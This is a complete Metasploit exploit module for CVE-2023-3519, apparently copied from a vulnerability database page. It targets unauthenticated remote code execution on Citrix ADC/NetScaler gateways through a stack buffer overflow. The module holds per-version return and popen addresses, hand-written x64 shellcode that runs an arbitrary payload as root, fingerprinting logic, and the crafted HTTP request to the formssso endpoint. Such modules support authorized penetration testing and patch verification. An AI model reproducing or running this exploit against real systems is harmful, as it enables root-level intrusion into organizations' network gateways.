##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Citrix ADC (NetScaler) Forms SSO Target RCE',
'Description' => %q{
A vulnerability exists within Citrix ADC that allows an unauthenticated attacker to trigger a stack buffer
overflow of the nsppe process by making a specially crafted HTTP GET request. Successful exploitation results in
remote code execution as root.
},
'Author' => [
'Ron Bowes', # Analysis and module
'Douglass McKee', # Analysis and module
'Spencer McIntyre', # Just the module
'rwincey' # Version detection
],
'References' => [
['CVE', '2023-3519'],
['URL', 'https://attackerkb.com/topics/si09VNJhHh/cve-2023-3519'],
['URL', 'https://support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467']
],
'DisclosureDate' => '2023-07-18',
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'Arch' => [ARCH_CMD],
'Payload' => {
# at a certain point too much of the stack will get corrupted, should be less than target['fixup_rsp_adjustment']
'Space' => 2048,
'DisableNops' => true
},
'Targets' => [
[ 'Automatic Targeting', {} ],
# In some versions the epilogue reads directly from rbp and since the exploit clobbers it, the value needs to
# be restored. In these cases return_rbp_adjustment is defined in the target. If the epilogue pops the values
# from the stack, then RBP doesn't need to be restored and return_rbp_adjustment can be left undefined.
[
'Citrix ADC 13.1-48.47',
{
'fixup_return' => 0x00782403, # pop rbx; ns_aaa_cookie_valid
'fixup_rsp_adjustment' => 0x13a8,
'popen' => 0x01da6340,
'return' => 0x00611ae9, # jmp rsp; ns_create_cfg_nsp
'return_offset' => 168,
'timestamp' => 1685774350
},
],
[
'Citrix ADC 13.1-37.38',
{
'fixup_return' => 0x0077c324, # pop rbx; ns_aaa_cookie_valid
'fixup_rsp_adjustment' => 0x13a8,
'popen' => 0x01d7e320,
'return' => 0x015d131d, # jmp rsp; tfocookie_send_callback
'return_offset' => 168,
'timestamp' => 1669199916
},
],
[
'Citrix ADC 13.0-91.12',
{
'fixup_return' => 0x008530a2, # mov rbx, qword [rbp-0x28]; ns_aaa_cookie_valid
'fixup_rsp_adjustment' => 0x12e0,
'fixup_rbp_adjustment' => 0x190,
'popen' => 0x01f42ec0,
'return' => 0x024883bf, # jmp rsp; ns_pixl_eval_nvlist_t_typecast_list_t_dynamic
'return_offset' => 168,
'timestamp' => 1683865450
}
],
[
'Citrix ADC 12.1-65.25',
{
'fixup_return' => 0x009babca, # mov rbx, qword [rbp-0x28]; ns_aaa_client_handler
'fixup_rsp_adjustment' => 0x1560,
'fixup_rbp_adjustment' => 0x120,
'popen' => 0x01b31e20,
'return' => 0x007d0845, # jmp rsp; ns_audit_cmd2strrer
'return_offset' => 168,
'timestamp' => 1669466053
}
],
[
'Citrix ADC 12.1-64.17',
{
'fixup_return' => 0x009b98aa, # mov rbx, qword [rbp-0x28]; ns_aaa_client_handler
'fixup_rsp_adjustment' => 0x1560,
'fixup_rbp_adjustment' => 0x120,
'popen' => 0x01b2e960,
'return' => 0x01333f18, # jmp rsp; nssmpp_process_message_queue
'return_offset' => 168,
'timestamp' => 1650533675
}
]
],
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'WfsDelay' => 10
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def check
# version 13.x resource path
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'logon', 'LogonPoint', 'index.html')
})
return CheckCode::Unknown('No response received from 13.x resource path') if res.nil?
if res.code == 200 && res.body =~ /<title class="_ctxstxt_NetscalerGateway">/
mytarget = get_target
return CheckCode::Appears("Detected #{mytarget.name}.") if mytarget
return CheckCode::Detected('Citrix Gateway 13.x detected but could not determine specific target')
end
# version 12.x resource path
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'vpn', 'index.html')
})
return CheckCode::Unknown('No response received from 12.x resource path') if res.nil?
if res.code == 200 && res.body =~ /Citrix Gateway/ && res.body =~ /AccessGateway\.ico/
mytarget = get_target
return CheckCode::Appears("Detected #{mytarget.name}.") if mytarget
return CheckCode::Detected('Citrix Gateway 12.x detected but could not determine specific target')
end
CheckCode::Safe('Citrix Gateway not detected')
end
def get_target
return @detected_target if @detection_ran
@detection_ran = true
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'logon', 'fonts', 'citrix-fonts.css')
})
return nil unless res&.headers&.[]('Last-Modified').present?
timestamp = DateTime.parse(res.headers['Last-Modified']).to_i
@detected_target = targets.select { |t| t.opts['timestamp'] == timestamp }.first
end
def exploit
mytarget = target
if mytarget.name == 'Automatic Targeting'
mytarget = get_target
fail_with(Failure::NoTarget, 'The target did not match a known fingerprint for automatic targeting.') if mytarget.nil?
end
shellcode = Metasm::Shellcode.assemble(Metasm::X64.new, Template.render(<<-SHELLCODE, target: mytarget)).encode_string
call loc_popen_arg1
; add this to the path for python payloads
db "export PATH=/var/python/bin:$PATH;"
db "#{Rex::Text.to_hex(payload.encoded)}", 0
loc_popen_arg1:
pop rdi
call loc_popen_arg2
db "r", 0
loc_popen_arg2:
pop rsi
mov rax, <%= target['popen'] %>
sub rsp, 0x200
call rax
loc_return:
xor rax, rax
add rsp, <%= target['fixup_rsp_adjustment'] + 0x200 %>
<% if target['fixup_rbp_adjustment'] %>
mov rbp, rsp
add rbp, <%= target['fixup_rbp_adjustment'] %>
<% end %>
push <%= target['fixup_return'] %>
ret
SHELLCODE
buffer = rand_text_alphanumeric(mytarget['return_offset'])
buffer << [mytarget['return']].pack('Q')
buffer << shellcode.bytes.map { |b| (b < 0xa0) ? '%%%02x' % b : b.chr }.join
send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'gwtest', 'formssso'),
'encode_params' => false, # we'll encode them ourselves
'vars_get' => {
'event' => 'start',
'target' => buffer
}
})
end
class Template
def self.render(template, context = nil)
case context
when Hash
b = binding
locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }
b.eval(locals.join)
when NilClass
b = binding
else
raise ArgumentError
end
b.eval(Erubi::Engine.new(template).src)
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation